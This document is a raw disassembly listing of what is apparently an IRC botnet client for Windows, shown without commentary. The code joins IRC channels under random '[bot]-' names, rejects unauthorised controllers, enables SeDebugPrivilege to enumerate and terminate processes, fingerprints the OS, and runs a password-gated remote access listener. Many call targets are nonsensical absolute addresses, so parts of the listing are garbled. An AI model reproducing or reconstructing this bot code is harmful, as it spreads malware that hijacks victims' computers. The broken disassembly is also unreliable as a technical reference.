call near ptr 2610E88h
nop
jmp short loc_414DE4
; ---------------------------------------------------------------------------
loc_414DF6: ; CODE XREF: sub_40EE72+5F70j
nop
call near ptr 2660B07h
push eax
push offset unk_42FA5C
loc_414E02: ; CODE XREF: sub_40EE72+3DA5j
; sub_40EE72+4AC1j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
loc_414E11: ; CODE XREF: sub_40EE72+2EB3j
; sub_40EE72+3959j ...
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
jmp loc_40F428
; ---------------------------------------------------------------------------
loc_414E22: ; CODE XREF: sub_40EE72+FA4j
; sub_40EE72+FB9j
push offset aAbosal7Tool ; "ABOSAL7 tool"
push offset dword_42FA3C
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_414E31: ; CODE XREF: sub_40EE72+F7Aj
; sub_40EE72+F8Fj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414E91
push esi
call sub_41781F
cmp eax, ebx
pop ecx
jl short loc_414E86
cmp eax, 2
jge short loc_414E86
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_414E7B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2DC]
push offset dword_432E04
push eax
call sub_4172B0
add esp, 0Ch
mov [esi], bl
jmp loc_410E57
; ---------------------------------------------------------------------------
loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j
push eax
push offset dword_42FA00
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_414E86: ; CODE XREF: sub_40EE72+5FD3j
; sub_40EE72+5FD8j
push eax
push offset dword_42F9C4
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_414E91: ; CODE XREF: sub_40EE72+5FC8j
mov edi, [ebp+arg_18]
xor esi, esi
loc_414E96: ; CODE XREF: sub_40EE72+6040j
push [ebp+var_94]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_414EB9
inc esi
add edi, 80h
cmp esi, 2
jl short loc_414E96
jmp loc_410E57
; ---------------------------------------------------------------------------
loc_414EB9: ; CODE XREF: sub_40EE72+6034j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D8]
push eax
push offset dword_432E04
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_414ED3: ; CODE XREF: sub_40EE72+F50j
; sub_40EE72+F65j
push [ebp+var_90]
push offset dword_432D74
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_414F47
call sub_416F25
push ebx
nop
call near ptr 77E75CB5h
loc_414EF5: ; CODE XREF: sub_40EE72+F26j
; sub_40EE72+F3Bj
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_9B8], bl
setnz al
push eax
lea eax, [ebp+var_928]
push dword_42F5CC
push eax
call sub_415D01
add esp, 10h
lea eax, [ebp+var_928]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
lea eax, [ebp+var_928]
push eax
push offset dword_42F990
loc_414F40: ; CODE XREF: sub_40EE72+4344j
; sub_40EE72+49D7j ...
call sub_40BFE1
pop ecx
loc_414F46: ; CODE XREF: sub_40EE72+17E7j
pop ecx
loc_414F47: ; CODE XREF: sub_40EE72+65Fj
; sub_40EE72+66Bj ...
mov eax, [ebp+arg_24]
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_414F4F: ; CODE XREF: sub_40EE72+B28j
; sub_40EE72+B3Bj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], esi
jz loc_40F239
cmp [ebp+var_AC], ebx
jnz loc_40F239
push offset asc_432E80 ; "!"
push [ebp+var_94]
call sub_418B6E
mov esi, eax
push offset dword_436EF4
push ebx
inc esi
call sub_418B6E
push offset asc_42F98C ; "~"
push eax
call sub_418B6E
push [ebp+arg_0]
mov edi, eax
push offset aCool ; "cool"
call sub_4176D0
add esp, 20h
test eax, eax
jz short loc_414FEE
lea eax, [ebp+var_D8]
push edi
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 14h
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push edi
push esi
push offset dword_42F904
jmp loc_40F813
; ---------------------------------------------------------------------------
loc_414FEE: ; CODE XREF: sub_40EE72+6138j
mov [ebp+arg_24], offset off_42F6C4
loc_414FF5: ; CODE XREF: sub_40EE72+619Fj
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_4170B5
pop ecx
test eax, eax
pop ecx
jnz short loc_415055
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_42F6C8
jb short loc_414FF5
lea eax, [ebp+var_D8]
push edi
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 14h
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push edi
push esi
push offset dword_42F8C8
jmp loc_40F813
; ---------------------------------------------------------------------------
loc_415055: ; CODE XREF: sub_40EE72+6192j
mov edi, [ebp+arg_18]
xor esi, esi
loc_41505A: ; CODE XREF: sub_40EE72+6212j
cmp [ebp+arg_0], ebx
jz loc_40F239
cmp [edi], bl
jnz short loc_41507A
push [ebp+arg_0]
push offset aCool ; "cool"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_41508B
loc_41507A: ; CODE XREF: sub_40EE72+61F3j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_41505A
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_41508B: ; CODE XREF: sub_40EE72+6206j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_AA8]
push 7Fh
push eax
push esi
call sub_418C10
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4150C2
push ebx
push [ebp+var_4]
push offset dword_42F89C
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_4150C2: ; CODE XREF: sub_40EE72+6234j
lea eax, [ebp+var_D8]
push eax
push offset dword_42F86C
jmp loc_40F422
; ---------------------------------------------------------------------------
loc_4150D3: ; CODE XREF: sub_40EE72+20Ej
; sub_40EE72+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push offset aXi ; "+xi"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 10h
mov dword_4CD76C, edi
jmp loc_40F10F
sub_40EE72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41511F proc near ; CODE XREF: sub_409037+45p
; sub_409037+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
nop
call near ptr 27A06F1h
push eax
call dword_43AD7C
test eax, eax
jnz short loc_41513E
leave
retn
; ---------------------------------------------------------------------------
loc_41513E: ; CODE XREF: sub_41511F+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_43AD54
test eax, eax
jz short loc_41517C
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_415165
or [ebp+var_8], 2
jmp short loc_415169
; ---------------------------------------------------------------------------
loc_415165: ; CODE XREF: sub_41511F+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_415169: ; CODE XREF: sub_41511F+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_43AE04
mov esi, eax
loc_41517C: ; CODE XREF: sub_41511F+32j
push [ebp+var_4]
nop
call near ptr 26408F3h
mov eax, esi
pop esi
leave
retn
sub_41511F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41518A proc near ; CODE XREF: sub_40EE72+4B66p
; sub_41533B+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_43ADB8, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_415334
cmp dword_43AD9C, ebx
jz loc_415334
cmp dword_43ACB8, ebx
jz loc_415334
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41511F
pop ecx
pop ecx
push ebx
push 0Fh
call dword_43ADB8
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_415327
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_43AD9C
mov esi, dword_424078
test eax, eax
jz loc_415322
loc_41522D: ; CODE XREF: sub_41518A+BEj
; sub_41518A+CCj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_43ACB8
test eax, eax
jz loc_415322
cmp [ebp+arg_10], ebx
jnz short loc_41522D
cmp [ebp+arg_C], ebx
jnz loc_4152DA
cmp [ebp+arg_4], ebx
jz short loc_41522D
push [ebp+var_124]
push 8
call dword_43ADB8
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_415297
lea eax, [ebp+var_350]
push eax
push edi
call dword_43AC64
push [ebp+var_124]
test eax, eax
jz short loc_41529D
lea eax, [ebp+var_230]
jmp short loc_4152A3
; ---------------------------------------------------------------------------
loc_415297: ; CODE XREF: sub_41518A+EBj
push [ebp+var_124]
loc_41529D: ; CODE XREF: sub_41518A+103j
lea eax, [ebp+var_108]
loc_4152A3: ; CODE XREF: sub_41518A+10Bj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
push edi
call esi
jmp loc_41522D
; ---------------------------------------------------------------------------
loc_4152DA: ; CODE XREF: sub_41518A+C3j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_41522D
push [ebp+var_124]
push ebx
push 1F0FFFh
nop
call near ptr 2720807h
push [ebp+var_4]
mov edi, eax
call esi
push ebx
push edi
nop
call near ptr 27F0B48h
test eax, eax
jnz short loc_41531D
push edi
call esi
jmp short loc_415334
; ---------------------------------------------------------------------------
loc_41531D: ; CODE XREF: sub_41518A+18Cj
push 1
pop eax
jmp short loc_415336
; ---------------------------------------------------------------------------
loc_415322: ; CODE XREF: sub_41518A+9Dj
; sub_41518A+B5j
push [ebp+var_4]
call esi
loc_415327: ; CODE XREF: sub_41518A+75j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41511F
pop ecx
pop ecx
loc_415334: ; CODE XREF: sub_41518A+3Aj
; sub_41518A+46j ...
xor eax, eax
loc_415336: ; CODE XREF: sub_41518A+196j
pop edi
pop esi
pop ebx
leave
retn
sub_41518A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41533B proc near ; DATA XREF: sub_40EE72+595Co
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_432F04
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_4172B0
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41539A
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40D679
add esp, 14h
loc_41539A: ; CODE XREF: sub_41533B+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_41518A
add esp, 18h
test eax, eax
jnz short loc_4153C2
push offset unk_432ECC
jmp short loc_4153C7
; ---------------------------------------------------------------------------
loc_4153C2: ; CODE XREF: sub_41533B+7Ej
push offset unk_432E94
loc_4153C7: ; CODE XREF: sub_41533B+85j
lea eax, [ebp+var_298]
push eax
call sub_4172B0
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4153FA
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40D679
add esp, 14h
loc_4153FA: ; CODE XREF: sub_41533B+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40BF6D
push [ebp+var_14]
call sub_417078
pop ecx
pop ecx
push esi
call near ptr 261031Eh
nop
pop edi
pop esi
sub_41533B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415419 proc near ; CODE XREF: sub_40EE72+4B08p
; sub_416E97+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 2720807h
mov esi, eax
test esi, esi
jz short loc_41544B
push 0
push esi
call near ptr 27F0B48h
nop
test eax, eax
jnz short loc_41544B
push esi
xor edi, edi
nop
call near ptr 26408F3h
loc_41544B: ; CODE XREF: sub_415419+1Aj
; sub_415419+27j
mov eax, edi
pop edi
pop esi
retn
sub_415419 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415450 proc near ; CODE XREF: sub_4030D1+Ap
; ___:0040369Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_41730C
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4246A0
call sub_417DC4
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_415450 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_4407FC[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_43AD80
test eax, eax
jnz short loc_415504
push dword ptr [esi]
call dword_43AE30
push dword ptr [ebp+8]
call sub_417078
pop ecx
push edi
nop
call near ptr 261031Eh
loc_415504: ; CODE XREF: ___:004154EAj
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_43ADB0
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_415685
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_415685
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_415685
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_43ACF4
test eax, eax
jz short loc_41557D
call dword_43AD2C
push eax
push offset dword_432FF8
call sub_40BFE1
push dword ptr [ebp+8]
call sub_417078
add esp, 0Ch
push edi
call near ptr 261031Eh
nop
loc_41557D: ; CODE XREF: ___:00415558j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_43AD50
cmp eax, edi
jnz short loc_4155A7
push dword ptr [ebp-18h]
call dword_43AE24
push eax
lea eax, [ebp-0B0h]
push eax
call sub_4172B0
jmp short loc_4155B5
; ---------------------------------------------------------------------------
loc_4155A7: ; CODE XREF: ___:0041558Dj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_4179C0
loc_4155B5: ; CODE XREF: ___:004155A5j
pop ecx
pop ecx
push edi
push ebx
push offset byte_436EDC
push dword ptr [esi]
call dword_43ADE8
cmp dword_4CD77C, edi
jnz short loc_415617
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_4156DF
add esp, 10h
test eax, eax
jnz short loc_415617
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_43ADE8
push dword ptr [esi]
call dword_43AE30
push dword ptr [ebp+8]
call sub_417078
pop ecx
push edi
nop
call near ptr 261031Eh
loc_415617: ; CODE XREF: ___:004155CCj
; ___:004155EDj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset dword_432FAC
call sub_40BFE1
push dword ptr [ebp+8]
call sub_4165C6
add esp, 10h
test eax, eax
jnz short loc_41565E
call near ptr 2660B07h
nop
push eax
push offset dword_432F70
call sub_40BFE1
push dword ptr [ebp+8]
call sub_417078
add esp, 0Ch
push ebx
nop
call near ptr 261031Eh
loc_41565E: ; CODE XREF: ___:00415639j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset dword_432F38
call sub_40BFE1
push dword ptr [ebp+8]
call sub_417078
add esp, 10h
push edi
nop
call near ptr 261031Eh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415685 proc near ; CODE XREF: ___:0041551Ap
; ___:00415527p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_43ADB0
cmp eax, 1
jnz short loc_4156D5
mov esi, [ebp+arg_4]
loc_4156A3: ; CODE XREF: sub_415685+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_4156CA
test al, al
jz short loc_4156D9
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_43ADB0
cmp eax, 1
jz short loc_4156A3
jmp short loc_4156D5
; ---------------------------------------------------------------------------
loc_4156CA: ; CODE XREF: sub_415685+27j
push offset dword_433034
call sub_40BFE1
pop ecx
loc_4156D5: ; CODE XREF: sub_415685+19j
; sub_415685+43j
xor eax, eax
jmp short loc_4156DC
; ---------------------------------------------------------------------------
loc_4156D9: ; CODE XREF: sub_415685+2Bj
push 1
pop eax
loc_4156DC: ; CODE XREF: sub_415685+52j
pop esi
leave
retn
sub_415685 endp
; =============== S U B R O U T I N E =======================================
sub_4156DF proc near ; CODE XREF: ___:004155E3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_41570A
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_43306C
call sub_40BFE1
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41570A: ; CODE XREF: sub_4156DF+11j
push 1
pop eax
retn
sub_4156DF endp
; ---------------------------------------------------------------------------
word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o
dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h
dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
dd 2026850h, 15FF0000h, 43AD10h, 0C63BF633h, 68501D74h
dd 433230h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h
dd 0ABB8E857h, 5790021Fh, 41598C68h, 0ECE89000h, 85023DB4h
dd 902975C0h, 24B38AE8h, 0E0685002h, 0E8004331h, 0FFFF6859h
dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 0E8905759h, 21FAB7Eh
dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h
dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh
dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h, 15FF5350h
dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h
dd 850FC085h, 103h, 43319468h, 0F045C700h, 0Ch, 89F47589h
dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh
dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h
dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh
dd 8D500043h, 0FFFBEC85h, 314068FFh, 0E8500043h, 1A20h
dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
dd 41548068h, 0F0458D00h, 0E8905056h, 227B387h, 69B84D8Bh
dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h
dd 0FFFFFF37h, 0E890326Ah, 21FB588h, 0E890EDEBh, 224B1FFh
dd 30F46850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh
dd 43AD2Ch, 0EC858D50h, 68FFFFFBh, 4330B0h, 197EE850h
dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0AE3015FFh
dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h
dd 59000016h, 0A994E856h, 5B90021Fh, 4439C033h, 940F0424h
db 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_415996 proc near ; CODE XREF: sub_415D01+49p
; DATA XREF: ___:off_433280o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call near ptr 261077Ch
nop
push eax
call sub_417302
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset aBot ; "[bot]-"
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41782A
xor esi, esi
add esp, 10h
cmp dword_42F5C8, esi
jle short loc_4159EF
loc_4159C9: ; CODE XREF: sub_415996+57j
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4332D4
push 1Ch
push edi
call sub_41782A
add esp, 14h
inc esi
cmp esi, dword_42F5C8
jl short loc_4159C9
loc_4159EF: ; CODE XREF: sub_415996+31j
mov eax, edi
pop edi
pop esi
retn
sub_415996 endp
; =============== S U B R O U T I N E =======================================
sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E7Fp
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 261077Ch
push eax
call sub_417302
pop ecx
call sub_41730C
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42F5C8
test esi, esi
jle short loc_415A37
loc_415A21: ; CODE XREF: sub_4159F4+41j
call sub_41730C
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_415A21
loc_415A37: ; CODE XREF: sub_4159F4+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4159F4 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 261077Ch
push eax
call sub_417302
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4332DC
push eax
push esi
call near ptr 27E0000h
nop
movsx eax, byte_4332DC
push 41h
pop ecx
push 1
pop edx
loc_415A7D: ; CODE XREF: ___:00415A88j
cmp eax, ecx
jnz short loc_415A84
mov [ebp-4], edx
loc_415A84: ; CODE XREF: ___:00415A7Fj
inc ecx
cmp ecx, 5Bh
jl short loc_415A7D
push 61h
pop ecx
loc_415A8D: ; CODE XREF: ___:00415A98j
cmp eax, ecx
jnz short loc_415A94
mov [ebp-4], edx
loc_415A94: ; CODE XREF: ___:00415A8Fj
inc ecx
cmp ecx, 7Bh
jl short loc_415A8D
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41782A
xor esi, esi
add esp, 0Ch
cmp dword_42F5C8, esi
jle short loc_415AD9
loc_415AB3: ; CODE XREF: ___:00415AD7j
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4332D4
push 1Ch
push edi
call sub_41782A
add esp, 14h
inc esi
cmp esi, dword_42F5C8
jl short loc_415AB3
loc_415AD9: ; CODE XREF: ___:00415AB1j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 261077Ch
push eax
call sub_417302
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 2800000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4332E0
push 1Ch
push edi
call sub_41782A
xor esi, esi
add esp, 10h
cmp dword_42F5C8, esi
jle short loc_415B4E
loc_415B28: ; CODE XREF: ___:00415B4Cj
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4332D4
push 1Ch
push edi
call sub_41782A
add esp, 14h
inc esi
cmp esi, dword_42F5C8
jl short loc_415B28
loc_415B4E: ; CODE XREF: ___:00415B26j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_436EDC
mov dword ptr [ebp-94h], 94h
call near ptr 27B15DCh
nop
nop
call near ptr 261077Ch
push eax
call sub_417302
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_415BD8
cmp dword ptr [ebp-8Ch], 0
jnz short loc_415BB8
cmp dword ptr [ebp-84h], 1
jnz short loc_415BA8
mov esi, offset a95 ; "95"
loc_415BA8: ; CODE XREF: ___:00415BA1j
cmp dword ptr [ebp-84h], 2
jnz short loc_415C14
mov esi, offset aNt ; "NT"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415BB8: ; CODE XREF: ___:00415B98j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_415BC8
mov esi, offset a98 ; "98"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415BC8: ; CODE XREF: ___:00415BBFj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_415C0F
mov esi, offset aMe ; "ME"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415BD8: ; CODE XREF: ___:00415B8Fj
cmp dword ptr [ebp-90h], 5
jnz short loc_415C0F
cmp dword ptr [ebp-8Ch], 0
jnz short loc_415BF1
mov esi, offset a2k ; "2K"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415BF1: ; CODE XREF: ___:00415BE8j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_415C01
mov esi, offset aXp ; "XP"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415C01: ; CODE XREF: ___:00415BF8j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_4332EC
jz short loc_415C14
loc_415C0F: ; CODE XREF: ___:00415BCFj
; ___:00415BDFj
mov esi, offset dword_42DDDC
loc_415C14: ; CODE XREF: ___:00415BAFj
; ___:00415BB6j ...
mov edi, [ebp+8]
push esi
push offset dword_4332E4
push 1Ch
push edi
call sub_41782A
xor esi, esi
add esp, 10h
cmp dword_42F5C8, esi
jle short loc_415C58
loc_415C32: ; CODE XREF: ___:00415C56j
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4332D4
push 1Ch
push edi
call sub_41782A
add esp, 14h
inc esi
cmp esi, dword_42F5C8
jl short loc_415C32
loc_415C58: ; CODE XREF: ___:00415C30j
